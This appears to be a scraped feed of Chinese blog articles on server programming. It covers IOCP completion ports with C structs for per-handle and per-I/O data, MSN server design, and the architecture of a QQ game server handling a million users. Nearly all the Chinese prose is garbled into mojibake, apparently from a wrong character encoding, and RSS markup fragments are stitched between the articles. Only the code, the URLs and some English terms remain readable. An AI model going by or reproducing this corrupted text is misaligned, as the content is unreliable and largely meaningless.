銆銆鍏朵腑錛屾垜浠妸絎笁涓弬鏁發(fā)pCompletionKey縐頒負瀹屾垚閿紝鐢卞畠浼犻掔殑鏁版嵁縐頒負鍗曞彞鏌勬暟鎹傛垜浠妸絎洓涓弬鏁發(fā)pOverlapped縐頒負閲嶅彔緇撴瀯浣擄紝鐢卞畠浼犻掔殑鏁版嵁縐頒負鍗旾O鏁版嵁銆?br>
銆銆浠ュ瓧闈㈢殑鎰忔濇潵鐞嗚В錛宭pCompletionKey鍐呭寘瀹圭殑涓滆タ搴旇鏄笌鍚勪釜socket涓涓瀵瑰簲鐨勶紝鑰宭pOverlapped鏄笌姣忎竴嬈$殑wsarecv鎴杦sasend鎿嶄綔涓涓瀵瑰簲鐨勩?br>
銆銆鍦ㄧ綉緇滄ā鍨嬬殑甯歌璁捐涓紝褰撲竴涓鎴風榪炴帴鍒版湇鍔″櫒鍚庯紝鏈嶅姟鍣ㄤ細閫氳繃accept鎴朅cceptEx鍒涘緩涓涓猻ocket錛岃屽簲鐢ㄥ眰涓轟簡淇濆瓨涓庢socket鐩稿叧鐨勫叾瀹冧俊鎭紙姣斿錛氳socket鎵瀵瑰簲鐨剆ockaddr_in緇撴瀯浣撴暟鎹紝璇ョ粨鏋勪綋鍐呭惈瀹㈡埛绔疘P絳変俊鎭紝浠ュ強涓轟究浜庡鎴風鐨勯昏緫鍖呮暣鐞嗚屽噯澶囩殑鏁版嵁鏁寸悊緙撳啿鍖虹瓑錛夛紝寰寰闇瑕佸垱寤轟竴涓笌璇ocket涓涓瀵瑰簲鐨勫鎴風搴曞眰閫氫俊瀵硅薄錛岃繖涓璞″彲浠ヨ礋璐d繚瀛樹粎鍦ㄧ綉緇滃眰闇瑕佸鐞嗙殑鏁版嵁鎴愬憳鍜屾柟娉曪紝鐒跺悗鎴戜滑闇瑕佸皢姝ゅ鎴風搴曞眰閫氫俊瀵硅薄鏀懼叆涓涓被浼間簬list鎴杕ap鐨勫鍣ㄤ腑錛屽緟鍒伴渶瑕佷嬌鐢ㄧ殑鏃跺欙紝浣跨敤瀹瑰櫒鐨勬煡鎵劇畻娉曟牴鎹畇ocket鍊兼壘鍒板畠鎵瀵瑰簲鐨勫璞$劧鍚庤繘琛屾垜浠墍闇瑕佺殑鎿嶄綔銆?br>
銆銆璁╀漢闈炲父楂樺叴鐨勬槸錛屽畬鎴愮鍙?#8220;浣撹創(chuàng)鍏ュ井”錛屽畠宸茬粡甯垜浠湪姣忔鐨勫畬鎴愪簨浠墮氱煡鏃訛紝紼嶅甫鐫鎶婅socket鎵瀵瑰簲鐨勫簳灞傞氫俊瀵硅薄鐨勬寚閽堥佺粰浜嗘垜浠紝榪欎釜鎸囬拡灝辨槸lpCompletionKey銆備篃灝辨槸璇達紝褰撴垜浠粠GetQueuedCompletionStatus鍑芥暟鍙栧緱涓涓暟鎹帴鏀跺畬鎴愮殑閫氱煡錛岄渶瑕佸皢姝ゆ鏀跺埌鐨勬暟鎹斁鍒拌socket鎵瀵瑰簲鐨勯氫俊瀵硅薄鏁寸悊緙撳啿鍖哄唴瀵規(guī)暟鎹繘琛屾暣鐞嗘椂錛屾垜浠凡緇忎笉闇瑕佸幓鎵цlist鎴杕ap絳夌殑鏌ユ壘綆楁硶錛岃屾槸鍙互鐩存帴瀹氫綅榪欎釜瀵硅薄浜嗭紝褰撳鎴風榪炴帴閲忓緢澶ф椂錛岄綣佹煡琛ㄨ繕鏄緢褰卞搷鏁堢巼鐨勩傚搰鍝︼紝澶竻浜嗭紝涓嶆槸鍚楋紵鍛靛懙銆?br>
銆銆鍩轟簬浠ヤ笂鐨勮璇嗭紝鎴戜滑鐨刲pCompletionKey瀵硅薄鍙互璁捐濡備笅錛?br>銆銆typedef struct PER_HANDLE_DATA
銆銆{
銆銆銆銆SOCKET socket;銆銆銆銆銆銆銆銆銆銆   //鏈粨鏋勪綋瀵瑰簲鐨剆ocket鍊?br>銆銆銆銆sockaddr_in addr;銆銆銆銆銆銆銆銆銆銆//鐢ㄤ簬瀛樻斁瀹㈡埛绔疘P絳変俊鎭?br>銆銆銆銆char DataBuf[ 2*MAX_BUFFER_SIZE ];銆銆//鏁寸悊緙撳啿鍖?鐢ㄤ簬瀛樻斁姣忔鏁寸悊鏃剁殑鏁版嵁
銆銆}

銆銆PER_HANDLE_DATA涓巗ocket鐨勭粦瀹氾紝閫氳繃CreateIOCompletionPort瀹屾垚錛屽皢璇ョ粨鏋勪綋鍦板潃浣滀負璇ュ嚱鏁扮殑絎笁涓弬鏁頒紶鍏ュ嵆鍙傝孭ER_HANDLE_DATA緇撴瀯浣撲腑addr鎴愬憳錛屾槸鍦╝ccept鎵ц鎴愬姛鍚庤繘琛岃祴鍊肩殑銆侱ataBuf鍒欏彲浠ュ湪姣忔WSARecv鎿嶄綔瀹屾垚錛岄渶瑕佹暣鐞嗙紦鍐插尯鏁版嵁鏃朵嬌鐢ㄣ?br>
銆銆涓嬮潰鎴戜滑鍐嶆潵鐪嬬湅瀹屾垚绔彛鐨勬敹銆佸彂鎿嶄綔涓墍浣跨敤鍒扮殑閲嶅彔緇撴瀯浣揙VERLAPPED銆?br>
銆銆鍏充簬閲嶅彔IO鐨勭煡璇嗭紝璇瘋嚜琛孏OOGLE鐩稿叧璧勬枡銆傜畝鍗曞湴璇達紝OVERLAPPED鏄簲鐢ㄥ眰涓庢牳蹇冨眰浜や簰鍏變韓鐨勬暟鎹崟鍏冿紝濡傛灉瑕佹墽琛屼竴涓噸鍙營O鎿嶄綔錛屽繀欏誨甫鏈塐VERLAPPED緇撴瀯銆傚湪瀹屾垚绔彛涓紝瀹冨厑璁稿簲鐢ㄥ眰瀵筄VERLAPPED緇撴瀯榪涜鎵╁睍鍜岃嚜瀹氫箟錛屽厑璁稿簲鐢ㄥ眰鏍規(guī)嵁鑷繁鐨勯渶瑕佸湪OVERLAPPED鐨勫熀紜涓婂艦鎴愭柊鐨勬墿灞昈VERLAPPED緇撴瀯銆備竴鑸湴錛屾墿灞曠殑OVERLAPPED緇撴瀯涓紝瑕佹眰鏀懼湪絎竴涓殑鏁版嵁鎴愬憳鏄師OVERLAPPED緇撴瀯銆傛垜浠彲浠ュ艦濡備互涓嬫柟寮忓畾涔夎嚜宸辯殑鎵╁睍OVERLAPPED緇撴瀯錛?br>銆銆typedef struct PER_IO_DATA
銆銆{
銆銆銆銆OVERLAPPED ovl;
銆銆銆銆WSABUF           buf;
銆銆銆銆char                    RecvDataBuf[ MAX_BUFFER_SIZE ];   //鎺ユ敹緙撳啿鍖?br>銆銆銆銆char                    SendDataBuf[ MAX_BUFFER_SIZE ];   //鍙戦佺紦鍐插尯
銆銆銆銆OpType              opType;                                                       //鎿嶄綔綾誨瀷錛氬彂閫併佹帴鏀舵垨鍏抽棴絳?br>銆銆}
銆銆
銆銆鍦ㄦ墽琛學SASend鍜學SARecv鎿嶄綔鏃訛紝搴旂敤灞備細灝嗘墿灞昈VERLAPPED緇撴瀯鐨勫湴鍧浼犵粰鏍稿績錛屾牳蹇冨畬鎴愮浉搴旂殑鎿嶄綔鍚庯紝浠嶇劧閫氳繃鍘熸湁鐨勮繖涓粨鏋勪紶閫掓搷浣滅粨鏋滐紝姣斿“鎺ユ敹”鎿嶄綔瀹屾垚鍚庯紝RecvDataBuf閲屽瓨鏀句究鏄嬈℃帴鏀朵笅鏉ョ殑鏁版嵁銆?br>
銆銆鏍規(guī)嵁鍚勮嚜搴旂敤鐨勪笉鍚岋紝涓嶅悓鐨勫畬鎴愮鍙h璁¤呭彲鑳戒細璁捐鍑轟笉鍚岀殑PER_HANDLE_DATA
鍜孭ER_IO_DATA錛屾垜榪欓噷緇欏嚭鐨勮璁′篃鍙槸閽堝鑷繁鐨勫簲鐢ㄥ満鍚堢殑錛屼笉涓瀹氬氨閫傚悎浣犮備絾鎴戞兂錛屾渶涓昏鐨勮繕鏄鎼炴槑鐧絇ER_HANDLE_DATA鍜孭ER_IO_DATA涓ょ緇撴瀯浣撶殑鍚箟銆佺敤閫旓紝浠ュ強璋冪敤嫻佺▼銆?br>

]]>
Windows Sockets 2.0:浣跨敤瀹屾垚绔彛楂樻ц兘錛屽彲鎵╁睍鎬insock鏈嶅姟紼嬪簭http://m.shnenglu.com/twzheng/articles/25140.html璋枃鏀?/dc:creator>璋枃鏀?/author>Wed, 30 May 2007 09:24:00 GMThttp://m.shnenglu.com/twzheng/articles/25140.htmlhttp://m.shnenglu.com/twzheng/comments/25140.htmlhttp://m.shnenglu.com/twzheng/articles/25140.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/25140.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/25140.html闃呰鍏ㄦ枃

]]>
寰蔣msn鏈嶅姟鍣ㄨ璁℃濇兂鍒濇鐞嗚Вhttp://m.shnenglu.com/twzheng/articles/24929.html璋枃鏀?/dc:creator>璋枃鏀?/author>Sun, 27 May 2007 04:02:00 GMThttp://m.shnenglu.com/twzheng/articles/24929.htmlhttp://m.shnenglu.com/twzheng/comments/24929.htmlhttp://m.shnenglu.com/twzheng/articles/24929.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/24929.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/24929.html[杞琞寰蔣msn鏈嶅姟鍣ㄨ璁℃濇兂鍒濇鐞嗚В
鏉ユ簮涓嶆槑

鐢變簬宸ヤ綔闇瑕侊紝鎴戠敤浜嗚繎2涓湀鐨勬椂闂村幓浜嗚Вmsn鐨勫崗璁紝閫氳繃闀挎椂闂寸殑鎶撳寘鍜岃瘯鍥懼疄鐜幫紝鎴戝皢鎴戜簡瑙d簡鐨刴sn鐨勬湇鍔″櫒绔殑閮ㄥ垎璁捐鎬濇兂鎬葷粨濡備笅銆?br>
        浣滀負鏈嶅姟鍣ㄨ璁★紝姣旇緝閲嶈鐨勫嚑涓棶棰樻槸錛?涓嶅Ε涔嬪錛屽笇鏈涘ぇ瀹朵慨姝o級

                1.瀹夊叏鎬?br>
                2.騫跺彂鏈嶅姟鑳藉姏

                3.鎬ц兘鐨勫彲綰挎ф彁楂?br>


    涓銆佸畨鍏ㄦ?br>
            鏈嶅姟鍣ㄧ殑瀹夊叏鎬у寘鎷袱閮ㄥ垎錛屼竴鏄湇鍔″櫒鏈韓杞‖浠墮厤緗笂鐨勫畨鍏ㄦэ紝姣斿闃叉緋葷粺婕忔礊錛涗簩鏄湇鍔″櫒鍜屽鎴風閫氳鍗忚鐨勫畨鍏ㄦц璁★紝闃叉閫氳繃鍗忚鏈韓瀵艱嚧瀵嗙爜娉勯湶銆佹湇鍔″櫒琚潪娉曟敾鍑葷瓑銆?br>
             鍦ㄥ崗璁笂錛宮sn鐨勫瘑鐮佹槸閫氳繃ssl浼犻佸埌鏈嶅姟鍣ㄧ殑錛涙垜瀵箂sl鐨勫唴閮ㄧ粏鑺備笉鏄緢浜嗚В錛屼絾鏄樉鐒訛紝瀵嗙爜緇忚繃ssl浼犺緭榪囩▼鍒版湇鍔″櫒绔悗錛屾槸琚槑鏂囪В鍑虹殑錛?鍥犳瀹夊叏鎬т緷璧栦簬ssl鏈韓鎻愪緵銆傚湪榪欐柟闈紝鎴戝懼悜浜巠ahoo鐨勮璁★紝瀵嗙爜涓嶉氳繃鑷韓鐨勬槑鏂囨垨鑰呬換浣曟湰韜殑鍔犲瘑鍚庡瘑鏂囦紶杈擄紝鑰屾槸鍚屾湇鍔″櫒榪斿洖鐨?session鍜宲assword緇撳悎錛岃繘琛屾販鍚堢殑涓嶅彲鍙嶅悜瑙e瘑鐨刴d5瀵嗘枃榪涜浼犺緭銆傝繖鏍風殑鍔犲瘑緇撴灉琚換浣曠涓夋柟鎴幏閮芥槸娌℃湁鎰忎箟鐨勶紱鍥犱負涓嶅彲鑳戒粠榪欐牱 鐨勫瘑鏂囦腑鍒嗘瀽鍑哄師鏉ョ殑瀵嗙爜銆?br>
            鎴戣涓猴紝浼犺緭鍗忚涓紝瀵嗙爜蹇呴』鍜屾湇鍔″櫒绔崗鍟嗙殑涓涓殢鏈簊eesion緇撳悎錛岄氳繃涓嶅彲鎭㈠鐨勫姞瀵嗘柟寮忚繘琛屽姞瀵嗭紝浼犻佸埌鏈嶅姟鍣紝鏈嶅姟鍣ㄧ涔熸槸鎸夌収session鍜宲assowrd榪涜鍚屾牱鏂瑰紡鐨勫姞瀵嗭紝姣旇緝鍔犲瘑緇撴灉錛岄獙璇佺敤鎴風殑鍚堟硶鎬с?br>
             灝辮蔣紜歡緋葷粺鏈韓鐨勫畨鍏ㄦц岃█錛屾垜璁や負灝介噺鎶婄郴緇熶腑涓嶉渶瑕佺殑杞歡鍜屽叾瀹冩ā鍧楀幓闄わ紝淇濈暀鏈嶅姟鍣ㄧ郴緇熻繍琛岄渶瑕佺殑鏈灝忓唴鏍革紱鍚屾椂涓鍙版湇鍔″櫒搴旇鍙彁渚涜鏈嶅姟鍣ㄩ渶 瑕佹彁渚涚殑鏈嶅姟錛屼笉寮澶氫綑鐨勭綉緇滅鍙o紝瀵箃elnet鏂瑰紡紱佹錛岃屼嬌鐢ㄦ洿瀹夊叏鐨剆sh榪涜榪滅▼綆$悊銆?br>


            浜屻佸茍鍙戞湇鍔¤兘鍔?br>
            鏈嶅姟鍣ㄧ殑騫跺彂鏈嶅姟鑳藉姏鏄湇鍔″櫒紼嬪簭璁捐鐨勪竴涓噸瑕佸唴瀹廣?br>
            1銆佸湪鍗曞彴鏈嶅姟鍣ㄤ笂錛屾湇鍔″櫒杞歡鐨勬ц兘璁捐搴旇冭檻浠ヤ笅闂錛?br>
                            鏁版嵁鎷瘋礉

                            鍐呭瓨綆$悊

                            綰跨▼闂寸殑閿佹帶鍒?br>
            鏁版嵁鎷瘋礉錛?br>
                     閫氬父鏉ヨ錛岄伩鍏嶆暟鎹嫹璐濇槸涓潪甯稿ご鐤肩殑闂銆傛垜鍦ㄥ鉤鏃剁殑宸ヤ綔涓紝灝介噺鎶婄紦鍐插尯鐨勬寚閽堜嬌鐢ㄨ寖鍥撮檺瀹氬湪涓瀹氱殑浣滅敤鍩熷唴錛屽鏋滈渶瑕佸湪浣滅敤鍩熷浣跨敤錛屾垜閫氬父浼氶氳繃 鏁版嵁鎷瘋礉鐨勬柟寮忚繘琛岋紝榪欐牱鍙互閬垮厤浠や漢澶寸柤鐨勫唴瀛樻硠闇查棶棰橈紝涓鍧楀唴瀛樹竴鏃﹀湪澶氫釜浣滅敤鍩熶嬌鐢ㄦ垨鑰呭湪鍒嗛厤璇ュ唴瀛樼殑浣滅敤鍩熶箣澶栦嬌鐢ㄦ椂錛屽緢瀹規(guī)槗鎼炰笉娓呮浣曟椂璇ラ噴鏀?璇ュ唴瀛樸?br>
                    涓涓瘮杈冨ソ鐨勫姙娉曟槸鍒╃敤鍦–OM閲屼嬌鐢ㄧ殑寮曠敤璁℃暟鎶鏈紝鎶婅鍐呭瓨鐨勯噴鏀炬椂鏈轟氦緇欏唴瀛樿嚜宸辯鐞嗭紱涔熷氨鏄鎶婂唴瀛樺皝瑁呰繘涓涓粨鏋勪綋鎴栬呯被閲岋紝鏈韓瀵硅嚜宸辮浣跨敤榪涜綆$悊錛屼竴鏃﹀彂鐜拌嚜宸辨病鏈変漢浣跨敤浜嗭紝灝遍噴鏀捐嚜宸便?br>
            鍐呭瓨綆$悊錛?br>
             鍐呭瓨鐨勫鐞嗕篃鏄緢闇瑕佹敞鎰忕殑涓閮ㄥ垎錛岄綣佺殑new /delete鍐呭瓨浼氳鍐呭瓨鍑虹幇澶ч噺紕庣墖錛屽鏈嶅姟鍣ㄨ蔣浠剁殑鎬ц兘涔熸槸鏈変笉灝忕殑褰卞搷鐨勶紱閫氬父鐨勫仛娉曟垜浠彲浠ヤ竴寮濮嬬敵璇蜂竴涓瘮杈冨ぇ鐨勫唴瀛樺尯鍩燂紝鐒跺悗鑷繁璐熻矗綆?鐞嗭紝鎶婅繖鍧楀唴瀛樺垝鍒嗘垚寰堝灝忓潡錛?4B/ 128B/ 256B)錛岀劧鍚庢寜鐓х敵璇峰唴瀛樼殑闇瑕侊紝鍒嗛厤鍚堥傜殑鍐呭瓨鍖哄煙銆傝繖鏍峰彲浠ヤ笉鐢ㄦ瘡嬈¢兘鍒扮郴緇熺敵璇峰唴瀛橈紝涔熸妸鍐呭瓨娉勯湶鐨勫彲鑳芥ч檺鍒跺湪寰堝皬鐨勮寖鍥村唴錛堝唴瀛樻硠闇插簲璇ヨ 瑙e喅錛夈?br>
            鍙﹀錛屽浜庝竴浜涘璞★紝鍦ㄦ垜浠嬌鐢ㄥ畬鍚庯紝鍙互鏆傛椂涓嶆妸瀹冪湡姝g殑浠庡唴瀛橀噷閲婃斁鎺夛紝鑰屾槸鎶婂畠鎸傚埌涓涓猯ist涓婂幓錛屼笅嬈″浜庨氱敤鐨勫璞★紝瀹屽叏鍙互閲嶇敤榪欏揩鍐呭瓨銆傝繖涔熸槸鍑忓皯鍐呭瓨鍒嗛厤嬈℃暟鐨勪竴涓姙娉曘備絾鏄繖鍙兘浼氬鑷翠嬌鐢ㄥ緢鑰楃殑鍔犺В閿併?br>
            綰跨▼闂寸殑閿佹帶鍒訛細

            娑夊強鍒伴攣鎺у埗鐨勶紝涓昏鏄洜涓哄叡浜棶棰樸傚叡浜垎涓轟袱縐嶏細涓鏄唬鐮佸叡浜儴鍒嗭紱涓鏄暟鎹叡浜儴鍒嗐傚叾涓仛涓昏鐨勮繕鏄暟鎹叡浜儴鍒嗐備絾鏄病鏈変粈涔堝ソ鐨勮В鍐沖姙娉曪紝鍞竴鐨勫姙娉曞氨鏄鏌ヨ繖涓叡浜槸涓嶆槸鐪熸蹇呰鐨勶紝榪欎簺鏁版嵁鍙笉鍙互鍒嗘垚涓ら儴鍒嗕互褰㈡垚涓嶆槸鍏變韓鐨勩?br>

        褰撶劧錛岃繖閮ㄥ垎涓鴻蔣鑰佸ぇ鍋氫簡浠涔堟垜涓嶆竻妤氥?br>

         涓夈佹ц兘鐨勫彲綰挎ф彁楂?br>
           榪欎富瑕佹寚鏈嶅姟鍣ㄧ兢緇勭殑鏈嶅姟鑳藉姏鍙互閫氳繃澧炲姞鏈嶅姟鍣ㄧ殑鏂瑰紡綰挎ф彁楂樻ц兘銆傝繖灝辮姹傛湇鍔″櫒鐨勬湇鍔¤兘鍔涘垎鎷呮槸鍧囪 鐨勶紝鍗沖疄鐜拌壇濂界殑璐熻澆騫寵 銆傛柊鍔犲叆鐨勬湇鍔″櫒鑳藉潎琛$殑琚礋杞藉鉤琛℃湇鍔″櫒鍒嗛厤鏈嶅姟銆?br>
            褰撶劧錛岃繖涔熻璁″埌鏈嶅姟鍣ㄩ泦緹ゃ佹暟鎹簱鏈嶅姟鍣ㄧ殑闆嗙兢錛屾垜鎯蟲壘涓椂闂翠笓闂ㄧ爺絀惰繖浜涢棶棰樸?br>
            鍦ㄨ繖鏂歸潰錛屽井杞殑璁捐鎬濇兂寰堝ソ鐨勪綋鐜頒簡榪欎釜鍘熷垯錛岃兘澶熸妸璐熻澆鍧囪 鐨勪氦緇欐柊鏈嶅姟鍣ㄣ?br>
            msn 鐨勮璇佹湇鍔″櫒銆佽亰澶╂湇鍔″櫒鍒嗗紑鐨勩傚嵆姣忔鑱婂ぉ鏃訛紝閮介渶瑕佸悜璁よ瘉鏈嶅姟鍣ㄧ敵璇蜂竴涓亰澶╂湇鍔″櫒鍦板潃錛岀劧鍚庡湪閫氳繃璁よ瘉鏈嶅姟鍣ㄩ個璇峰鏂瑰姞鍏ュ埌榪欎釜鑱婂ぉ鏈嶅姟鍣紝榪欏氨 淇濊瘉浜嗚亰澶╃殑浜轟細鍦ㄥ悓涓鍙版湇鍔″櫒涓婏紝涓嶇敤鍐嶅埌鏁版嵁搴撴湇鍔″櫒鏌ユ壘瀵規(guī)柟鐨勫湴鍧錛屼篃閬垮厤浜嗗ご鐤肩殑鏈嶅姟鍣ㄦ暟鎹悓姝ラ棶棰樸?br>
            濡傛灉鏂板姞鍏ヤ竴涓湇鍔″櫒錛岄偅涔堣繖澶湇鍔″櫒鍙鍦ㄨ礋杞藉鉤琛℃湇鍔″櫒娉ㄥ唽錛屽氨鍙互鍜屽叾浠栨湇鍔″櫒涓嶇浉騫茬殑涓哄鎴風鎻愪緵鍙潬鐨勬湇鍔★紝褰撶劧緹ょ粍鐨勬湇鍔¤兘鍔涘氨綰挎ф彁鍗囦簡銆?br>
            鍐欐枃涓撲負涓庢湅鍙嬩滑浜ゆ祦錛屽浜庡唴瀹逛腑涓嶅Ε涔嬪錛岃澶氬鎸囨暀錛氾級


]]>
綾諱技浜嶲Q娓告垙鐧句竾浜哄悓鏃跺湪綰跨殑鏈嶅姟鍣ㄦ灦鏋勫疄鐜?http://m.shnenglu.com/twzheng/articles/24801.html璋枃鏀?/dc:creator>璋枃鏀?/author>Thu, 24 May 2007 18:58:00 GMThttp://m.shnenglu.com/twzheng/articles/24801.htmlhttp://m.shnenglu.com/twzheng/comments/24801.htmlhttp://m.shnenglu.com/twzheng/articles/24801.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/24801.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/24801.html綾諱技浜嶲Q娓告垙鐧句竾浜哄悓鏃跺湪綰跨殑鏈嶅姟鍣ㄦ灦鏋勫疄鐜?/span>

鏈枃浣滆咃細sodme銆鏈枃鍑哄錛歨ttp://blog.csdn.net/sodme
鐗堟潈澹版槑錛氭湰鏂囧彲浠ヤ笉緇忎綔鑰呭悓鎰忎換鎰忚漿杞斤紝浣嗚漿杞芥椂鐑﹁淇濈暀鏂囩珷寮濮嬪墠涓よ鐨勭増鏉冦佷綔鑰呭強鍑哄淇℃伅銆?br>
銆銆QQ娓告垙浜庡墠鍑犳棩緇堜簬紿佺牬浜嗙櫨涓囦漢鍚屾椂鍦ㄧ嚎鐨勫叧鍙o紝鍚戠潃鏇翠負榪滃ぇ鐨勭洰鏍囪繄榪涳紝榪欒鍏跺畠浼楀浼犵粺鐨勬鐗屼紤闂叉父鎴忓鉤鍙伴化鐒跺け鑹詫紝鐩告瘮涔嬩笅錛岃仈浼椾技涔庡凡緇忔牴鏈笉鏄疩Q鐨勫鎵嬶紝鍥犱負QQ闄や簡榪?00涓囩殑娓告垙鍦ㄧ嚎浜烘暟澶栵紝瀹冭繕鎷ユ湁3浜垮鐨勬敞鍐岄噺錛堝綋鐒跺緢澶氭槸閲嶅娉ㄥ唽鐨勶級浠ュ強QQ鑱婂ぉ杞歡900涓囩殑鍚屾椂鍦ㄧ嚎鐜囷紝鎴戜滑宸茬粡鍙互棰勮鏈潵鐢盦Q鏋勫緩璧鋒潵鐨勫己澶ф鐗屼紤闂叉父鎴忓笣鍥姐?br>銆銆閭d箞錛屽湪鎶鏈笂錛孮Q娓告垙鍒板簳鏄浣曞疄鐜扮櫨涓囦漢鍚屾椂鍦ㄧ嚎騫朵繚鎸佹父鎴忛珮鏁堢巼鐨勫憿錛?br>銆銆浜嬪疄涓婏紝閽堝浜庝換浣曞崟涓鐨勭綉緇滄湇鍔″櫒紼嬪簭錛屽叾鍙壙鍙楃殑鍚屾椂榪炴帴鏁扮洰鏄湁鐞嗚宄板肩殑錛岄氳繃C錛嬶紜涓TSocket鐨勫畾涔夌被鍨嬶細word錛屾垜浠彲浠ュ垽瀹氳繖涓繛鎺ョ悊璁哄嘲鍊兼槸65535錛屼篃灝辨槸璇達紝浣犵殑鍗曚釜鏈嶅姟鍣ㄧ▼搴忥紝鏈澶氬彲浠ユ壙鍙?涓囧鐨勭敤鎴峰悓鏃惰繛鎺ャ備絾鏄紝鍦ㄥ疄闄呭簲鐢ㄤ腑錛岃兘杈懼埌涓涓囦漢鐨勫悓鏃惰繛鎺ュ茍鑳戒繚璇佹甯哥殑鏁版嵁浜ゆ崲宸茬粡鏄緢涓嶅鏄撲簡錛岄氬父榪欎釜鍊奸兘鍦?000鍒?000涔嬮棿錛屾嵁璇碤Q鐨勫崟鍙版湇鍔″櫒鍚屾椂榪炴帴鏁扮洰涔熷氨鏄湪榪欎釜鍊艱繖闂淬?br>銆銆濡傛灉瑕佸疄鐜?000鍒?000鐢ㄦ埛鐨勫崟鏈嶅姟鍣ㄥ悓鏃跺湪綰匡紝鏄笉闅劇殑銆傚湪windows涓嬶紝姣旇緝鎴愮啛鐨勬妧鏈槸閲囩敤IOCP錛嶏紞瀹屾垚绔彛銆備笌瀹屾垚绔彛鐩稿叧鐨勮祫鏂欏湪緗戜笂鍜孋SDN璁哄潧閲屾湁寰堝錛屾劅鍏磋叮鐨勬湅鍙嬪彲浠ヨ嚜宸辨悳绱竴涓嬨傚彧瑕佽繍鐢ㄥ緱褰擄紝涓涓畬鎴愮鍙f湇鍔″櫒鏄畬鍏ㄥ彲浠ヨ揪鍒?K鍒?K鐨勫悓鏃跺湪綰塊噺鐨勩備絾錛?K榪欐牱鐨勬暟鍊肩鐧句竾榪欐牱鐨勬暟鍊煎疄鍦ㄧ浉宸お澶т簡錛屾墍浠ワ紝鐧句竾浜虹殑鍚屾椂鍦ㄧ嚎鏄崟鍙版湇鍔″櫒鑲畾鏃犳硶瀹炵幇鐨勩?br>銆銆瑕佸疄鐜扮櫨涓囦漢鍚屾椂鍦ㄧ嚎錛岄鍏堣瀹炵幇涓涓瘮杈冨畬鍠勭殑瀹屾垚绔彛鏈嶅姟鍣ㄦā鍨嬶紝榪欎釜妯″瀷瑕佹眰鑷沖皯鍙互鎵胯澆2K鍒?K鐨勫悓鏃跺湪綰跨巼錛堝綋鐒訛紝濡傛灉浣燤ONEY澶氾紝浣犱篃鍙互鍙紑鍙戝嚭鏈澶氬厑璁?00浜哄湪綰跨殑鏈嶅姟鍣級銆傚湪鏋勫緩濂戒簡鍩烘湰鐨勫畬鎴愮鍙f湇鍔″櫒涔嬪悗錛屽氨鏄湁鍏蟲湇鍔″櫒緇勭殑鏋舵瀯璁捐浜嗐備箣鎵浠ヨ榪欐槸涓涓湇鍔″櫒緇勶紝鏄洜涓哄畠緇濅笉浠呬粎鍙槸涓鍙版湇鍔″櫒錛屼篃緇濅笉浠呬粎鏄彧鏈変竴縐嶇被鍨嬬殑鏈嶅姟鍣ㄣ?br>銆銆綆鍗曞湴璇達紝瀹炵幇鐧句竾浜哄悓鏃跺湪綰跨殑鏈嶅姟鍣ㄦā鍨嬪簲璇ユ槸錛氱櫥闄嗘湇鍔″櫒錛嬪ぇ鍘呮湇鍔″櫒錛嬫埧闂存湇鍔″櫒銆傚綋鐒訛紝涔熷彲浠ユ槸鍏跺畠鐨勬ā鍨嬶紝浣嗗叾鍩烘湰鐨勬濇兂鏄竴鏍風殑銆備笅闈紝鎴戝皢閫愪竴浠嬬粛榪欎笁綾繪湇鍔″櫒鐨勫悇鑷綔鐢ㄣ?br>銆銆鐧婚檰鏈嶅姟鍣細涓鑸儏鍐典笅錛屾垜浠細鍚戠帺瀹跺紑鏀捐嫢騫蹭釜鍏紑鐨勭櫥闄嗘湇鍔″櫒錛屽氨濡俀Q鐧婚檰鏃惰浣犻夋嫨鐨勪粠鍝釜QQ娓告垙鏈嶅姟鍣ㄧ櫥闄嗕竴鏍鳳紝QQ鐧婚檰鏃惰鐜╁閫夋嫨鐨勫叚涓湇鍔″櫒鍏ュ彛瀹為檯涓婂氨鏄櫥闄嗘湇鍔″櫒銆傜櫥闄嗘湇鍔″櫒涓昏瀹屾垚璐熻澆騫寵 鐨勪綔鐢ㄣ傝緇嗙偣璇村氨鏄紝鍦ㄧ櫥闄嗘湇鍔″櫒鐨勮儗鍚庯紝鏈塏涓ぇ鍘呮湇鍔″櫒錛岀櫥闄嗘湇鍔″櫒鍙槸鐢ㄤ簬涓哄綋鍓嶇殑瀹㈡埛绔繛鎺ラ夋嫨鍏朵笅涓姝ュ簲璇ヨ繛鎺ュ埌鍝釜澶у巺鏈嶅姟鍣紝褰撶櫥闄嗘湇鍔″櫒涓哄綋鍓嶇殑瀹㈡埛绔繛鎺ラ夋嫨浜嗕竴涓悎閫傜殑澶у巺鏈嶅姟鍣ㄥ悗錛屽鎴風寮濮嬫牴鎹櫥闄嗘湇鍔″櫒鎻愪緵鐨勪俊鎭繛鎺ュ埌鐩稿簲鐨勫ぇ鍘呬笂鍘伙紝鍚屾椂瀹㈡埛绔柇寮涓庣櫥闄嗘湇鍔″櫒鐨勮繛鎺ワ紝涓哄叾浠栫帺瀹跺鎴風榪炴帴鐧婚檰鏈嶅姟鍣ㄨ吘鍑哄鎺ュ瓧璧勬簮銆傚湪璁捐鐧婚檰鏈嶅姟鍣ㄦ椂錛岃嚦灝戝簲璇ユ湁浠ヤ笅鍔熻兘錛歂涓ぇ鍘呮湇鍔″櫒鐨勬瘡涓涓ぇ鍘呮湇鍔″櫒閮借涓庢墍鏈夌殑鐧婚檰鏈嶅姟鍣ㄤ繚鎸佽繛鎺ワ紝騫跺疄鏃跺湴鎶婃湰澶у巺鏈嶅姟鍣ㄥ綋鍓嶇殑鍚屾椂鍦ㄧ嚎浜烘暟閫氱煡緇欏悇涓櫥闄嗘湇鍔″櫒錛岃繖鍏朵腑鍖呮嫭錛氱敤鎴瘋繘鍏ユ椂鐨勫悓鏃跺湪綰夸漢鏁板鍔犱俊鎭互鍙婄敤鎴烽鍑烘椂鐨勫悓鏃跺湪綰夸漢鏁板噺灝戜俊鎭傝繖閲岀殑鍚勪釜澶у巺鏈嶅姟鍣ㄥ悓鏃跺湪綰夸漢鏁頒俊鎭氨鏄櫥闄嗘湇鍔″櫒涓哄鎴風閫夋嫨鏌愪釜澶у巺璁╁叾鐧婚檰鐨勪緷鎹備婦渚嬫潵璇達紝鐜╁A閫氳繃鐧婚檰鏈嶅姟鍣?榪炴帴鍒扮櫥闄嗘湇鍔″櫒錛岀櫥闄